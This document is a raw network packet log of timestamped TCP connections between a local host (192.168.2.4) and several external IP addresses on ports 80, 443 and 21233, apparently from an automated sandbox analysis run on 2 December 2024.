Dec 2, 2024 04:58:01.321297884 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:01.321408987 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:01.321465015 CET	49755	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:01.329911947 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:01.330049038 CET	49755	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:01.418616056 CET	49767	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:01.418661118 CET	443	49767	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:01.419394970 CET	49767	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:01.420406103 CET	49767	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:01.420416117 CET	443	49767	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:01.509747028 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:01.520371914 CET	49755	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:01.640403986 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:01.655725002 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:01.726917028 CET	49769	80	192.168.2.4	180.101.212.103
Dec 2, 2024 04:58:01.748472929 CET	49770	80	192.168.2.4	180.101.212.103
Dec 2, 2024 04:58:01.775650978 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:01.775743961 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:01.775970936 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:01.846812010 CET	80	49769	180.101.212.103	192.168.2.4
Dec 2, 2024 04:58:01.846937895 CET	49769	80	192.168.2.4	180.101.212.103
Dec 2, 2024 04:58:01.847033024 CET	49769	80	192.168.2.4	180.101.212.103
Dec 2, 2024 04:58:01.868397951 CET	80	49770	180.101.212.103	192.168.2.4
Dec 2, 2024 04:58:01.868521929 CET	49770	80	192.168.2.4	180.101.212.103
Dec 2, 2024 04:58:01.895828009 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:01.966876030 CET	80	49769	180.101.212.103	192.168.2.4
Dec 2, 2024 04:58:02.383719921 CET	80	49760	112.34.113.148	192.168.2.4
Dec 2, 2024 04:58:02.415380955 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:02.439328909 CET	49760	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:58:02.455378056 CET	49755	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:02.612236023 CET	443	49764	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:02.612514973 CET	49764	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:02.612530947 CET	443	49764	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:02.612848043 CET	443	49764	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:02.613487959 CET	49764	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:02.613548040 CET	443	49764	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:02.613805056 CET	49764	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:02.625761986 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:02.629342079 CET	49771	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:02.655332088 CET	443	49764	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:02.674525976 CET	49755	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:02.749325037 CET	21233	49771	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:02.749393940 CET	49771	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:02.749619007 CET	49771	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:02.869983912 CET	21233	49771	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:02.926897049 CET	443	49765	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:02.927628040 CET	49765	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:02.927663088 CET	443	49765	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:02.929860115 CET	49765	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:02.929864883 CET	443	49765	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:02.929995060 CET	49765	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:02.930011988 CET	443	49765	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:03.145123005 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.145138025 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.145148993 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.145163059 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.145183086 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:03.145219088 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:03.153860092 CET	443	49762	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:03.154063940 CET	49762	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:03.154082060 CET	443	49762	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:03.154896975 CET	443	49762	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:03.154949903 CET	49762	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:03.155647039 CET	443	49762	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:03.155818939 CET	49762	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:03.155937910 CET	49762	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:03.155996084 CET	443	49762	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:03.156059027 CET	49762	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:03.198605061 CET	49762	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:03.198616028 CET	443	49762	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:03.232963085 CET	443	49767	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:03.233033895 CET	49767	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:03.237109900 CET	49767	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:03.237118006 CET	443	49767	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:03.237344980 CET	443	49767	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:03.245085001 CET	49762	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:03.277067900 CET	49767	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:03.298749924 CET	49767	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:03.343336105 CET	443	49767	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:03.346013069 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.346297979 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:03.346405983 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:03.346467972 CET	49771	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:03.346642971 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:03.346673012 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:03.356965065 CET	80	49769	180.101.212.103	192.168.2.4
Dec 2, 2024 04:58:03.372807980 CET	443	49763	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:03.373008013 CET	49763	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:03.373025894 CET	443	49763	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:03.373374939 CET	443	49763	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:03.373430014 CET	49763	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:03.373994112 CET	443	49763	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:03.374036074 CET	49763	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:03.374166012 CET	49763	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:03.374223948 CET	443	49763	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:03.374253988 CET	49763	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:03.402007103 CET	49769	80	192.168.2.4	180.101.212.103
Dec 2, 2024 04:58:03.419331074 CET	443	49763	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:03.422580004 CET	49763	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:03.422585964 CET	443	49763	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:03.460993052 CET	443	49764	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:03.461105108 CET	443	49764	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:03.461535931 CET	49764	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:03.461826086 CET	49764	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:03.461838961 CET	443	49764	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:03.466166973 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.466274023 CET	49763	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:03.466336966 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.466537952 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.466590881 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.467787027 CET	49746	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:58:03.469346046 CET	49772	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:03.469368935 CET	443	49772	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:03.469624996 CET	49772	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:03.470112085 CET	49772	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:03.470123053 CET	443	49772	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:03.499437094 CET	49773	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:58:03.507467985 CET	21233	49771	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.587675095 CET	80	49746	38.31.228.123	192.168.2.4
Dec 2, 2024 04:58:03.619342089 CET	80	49773	112.34.113.148	192.168.2.4
Dec 2, 2024 04:58:03.619404078 CET	49773	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:58:03.619587898 CET	49773	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:58:03.739418983 CET	80	49773	112.34.113.148	192.168.2.4
Dec 2, 2024 04:58:03.787759066 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.797336102 CET	21233	49771	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.797390938 CET	49771	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:03.804682970 CET	443	49762	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:03.804764986 CET	443	49762	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:03.804842949 CET	49762	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:03.805413008 CET	49762	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:03.805430889 CET	443	49762	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:03.805440903 CET	49762	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:03.805488110 CET	49762	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:03.840698004 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:03.862742901 CET	80	49746	38.31.228.123	192.168.2.4
Dec 2, 2024 04:58:03.862765074 CET	80	49746	38.31.228.123	192.168.2.4
Dec 2, 2024 04:58:03.862804890 CET	49746	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:58:03.866571903 CET	49750	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:58:03.875911951 CET	443	49765	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:03.875931978 CET	443	49765	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:03.875961065 CET	443	49765	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:03.875977039 CET	49765	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:03.875987053 CET	443	49765	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:03.876013041 CET	443	49765	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:03.876017094 CET	49765	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:03.876051903 CET	49765	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:03.876339912 CET	49765	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:03.876339912 CET	49765	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:03.876347065 CET	443	49765	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:03.876352072 CET	443	49765	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:03.896207094 CET	49774	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:03.896241903 CET	443	49774	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:03.896478891 CET	49774	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:03.896640062 CET	49774	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:03.896646976 CET	443	49774	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:03.910444021 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.910547018 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.910557985 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.910567999 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.910603046 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:03.910628080 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:03.910655022 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:03.915400982 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.915446043 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:03.915463924 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.915522099 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:03.920367002 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.920414925 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:03.920445919 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.920484066 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:03.928746939 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.928792000 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:03.929047108 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.929090023 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:03.937154055 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.937202930 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:03.937221050 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.937277079 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:03.947915077 CET	443	49767	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:03.947937965 CET	443	49767	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:03.947952032 CET	443	49767	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:03.947964907 CET	443	49767	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:03.947984934 CET	49767	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:03.947993994 CET	443	49767	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:03.948000908 CET	443	49767	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:03.948019981 CET	49767	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:03.948055029 CET	49767	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:03.968601942 CET	443	49767	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:03.968664885 CET	443	49767	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:03.968679905 CET	49767	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:03.968719006 CET	49767	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:03.969003916 CET	49767	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:03.969012022 CET	443	49767	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:03.969137907 CET	49767	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:03.969142914 CET	443	49767	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:03.986514091 CET	80	49750	38.31.228.123	192.168.2.4
Dec 2, 2024 04:58:03.988866091 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:03.988919973 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:04.008094072 CET	443	49763	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:04.008158922 CET	443	49763	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:04.008200884 CET	49763	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:04.008630991 CET	49763	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:04.008641005 CET	443	49763	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:04.030519009 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:04.156729937 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:04.199347973 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:04.262897015 CET	80	49750	38.31.228.123	192.168.2.4
Dec 2, 2024 04:58:04.262907982 CET	80	49750	38.31.228.123	192.168.2.4
Dec 2, 2024 04:58:04.262952089 CET	49750	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:58:05.180351019 CET	443	49772	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:05.180598974 CET	49772	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:05.180624008 CET	443	49772	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:05.180984020 CET	443	49772	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:05.181474924 CET	49772	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:05.181535959 CET	443	49772	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:05.181688070 CET	49772	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:05.227330923 CET	443	49772	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:05.264750957 CET	80	49773	112.34.113.148	192.168.2.4
Dec 2, 2024 04:58:05.308821917 CET	49773	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:58:05.782349110 CET	443	49774	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:05.782816887 CET	49774	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:05.782838106 CET	443	49774	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:05.784523010 CET	49774	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:05.784528971 CET	443	49774	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:05.784826994 CET	49774	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:05.784842014 CET	443	49774	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:06.037796021 CET	443	49772	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:06.037868023 CET	443	49772	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:06.038067102 CET	49772	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:06.038733959 CET	49772	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:06.038750887 CET	443	49772	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:06.441448927 CET	443	49774	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:06.441469908 CET	443	49774	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:06.441530943 CET	49774	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:06.441548109 CET	443	49774	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:06.441572905 CET	443	49774	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:06.441620111 CET	49774	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:06.441781998 CET	49774	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:06.441792011 CET	443	49774	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:06.441802979 CET	49774	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:06.441807032 CET	443	49774	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:06.450443029 CET	49776	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:06.450483084 CET	443	49776	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:06.450664043 CET	49776	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:06.450910091 CET	49776	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:06.450922966 CET	443	49776	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:08.431865931 CET	443	49776	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:08.432250977 CET	49776	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:08.432267904 CET	443	49776	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:08.432796955 CET	49776	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:08.432802916 CET	443	49776	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:08.432826996 CET	49776	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:08.432833910 CET	443	49776	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:09.413125038 CET	443	49776	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:09.413145065 CET	443	49776	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:09.413177967 CET	443	49776	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:09.413201094 CET	49776	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:09.413211107 CET	443	49776	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:09.413223982 CET	49776	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:09.417282104 CET	443	49776	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:09.418114901 CET	49776	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:09.437407970 CET	49776	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:09.437424898 CET	443	49776	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:09.437434912 CET	49776	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:09.437439919 CET	443	49776	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:09.538269997 CET	49830	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:09.538290024 CET	443	49830	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:09.538357973 CET	49830	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:09.538731098 CET	49830	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:09.538742065 CET	443	49830	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:10.728640079 CET	443	49759	142.250.181.100	192.168.2.4
Dec 2, 2024 04:58:10.728698969 CET	443	49759	142.250.181.100	192.168.2.4
Dec 2, 2024 04:58:10.728786945 CET	49759	443	192.168.2.4	142.250.181.100
Dec 2, 2024 04:58:11.107687950 CET	49759	443	192.168.2.4	142.250.181.100
Dec 2, 2024 04:58:11.107703924 CET	443	49759	142.250.181.100	192.168.2.4
Dec 2, 2024 04:58:11.489196062 CET	443	49830	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:11.489623070 CET	49830	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:11.489639997 CET	443	49830	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:11.491893053 CET	49830	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:11.491899014 CET	443	49830	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:11.492065907 CET	49830	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:11.492082119 CET	443	49830	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:12.245579958 CET	443	49830	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:12.245601892 CET	443	49830	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:12.245641947 CET	443	49830	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:12.245661974 CET	49830	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:12.245677948 CET	443	49830	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:12.245697021 CET	49830	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:12.245958090 CET	49830	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:12.245971918 CET	443	49830	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:12.245980024 CET	49830	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:12.246109962 CET	443	49830	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:12.246140957 CET	443	49830	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:12.246196032 CET	49830	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:12.264194965 CET	49832	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:12.264219046 CET	443	49832	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:12.264386892 CET	49832	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:12.264554977 CET	49832	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:12.264569998 CET	443	49832	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:14.158050060 CET	443	49832	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:14.160093069 CET	49832	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:14.160111904 CET	443	49832	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:14.160373926 CET	49832	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:14.160373926 CET	49832	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:14.160384893 CET	443	49832	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:14.160398006 CET	443	49832	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:14.892119884 CET	443	49832	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:14.892147064 CET	443	49832	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:14.892182112 CET	443	49832	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:14.892216921 CET	49832	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:14.892236948 CET	443	49832	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:14.892251968 CET	443	49832	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:14.892252922 CET	49832	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:14.892294884 CET	49832	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:14.892565012 CET	49832	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:14.892574072 CET	443	49832	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:14.892587900 CET	49832	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:14.892592907 CET	443	49832	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:33.357659101 CET	80	49769	180.101.212.103	192.168.2.4
Dec 2, 2024 04:58:33.357733965 CET	49769	80	192.168.2.4	180.101.212.103
Dec 2, 2024 04:58:34.168899059 CET	49769	80	192.168.2.4	180.101.212.103
Dec 2, 2024 04:58:34.289024115 CET	80	49769	180.101.212.103	192.168.2.4
Dec 2, 2024 04:58:35.265069962 CET	80	49773	112.34.113.148	192.168.2.4
Dec 2, 2024 04:58:35.265141964 CET	49773	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:58:37.107518911 CET	49773	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:58:37.227688074 CET	80	49773	112.34.113.148	192.168.2.4
Dec 2, 2024 04:58:40.316137075 CET	49834	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:40.316169977 CET	443	49834	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:40.316236973 CET	49834	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:40.316565037 CET	49834	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:40.316577911 CET	443	49834	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:42.130002022 CET	443	49834	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:42.130192995 CET	49834	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:42.131685019 CET	49834	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:42.131695032 CET	443	49834	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:42.131928921 CET	443	49834	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:42.134608030 CET	49834	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:42.179337978 CET	443	49834	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:42.387161016 CET	49745	80	192.168.2.4	38.31.228.123
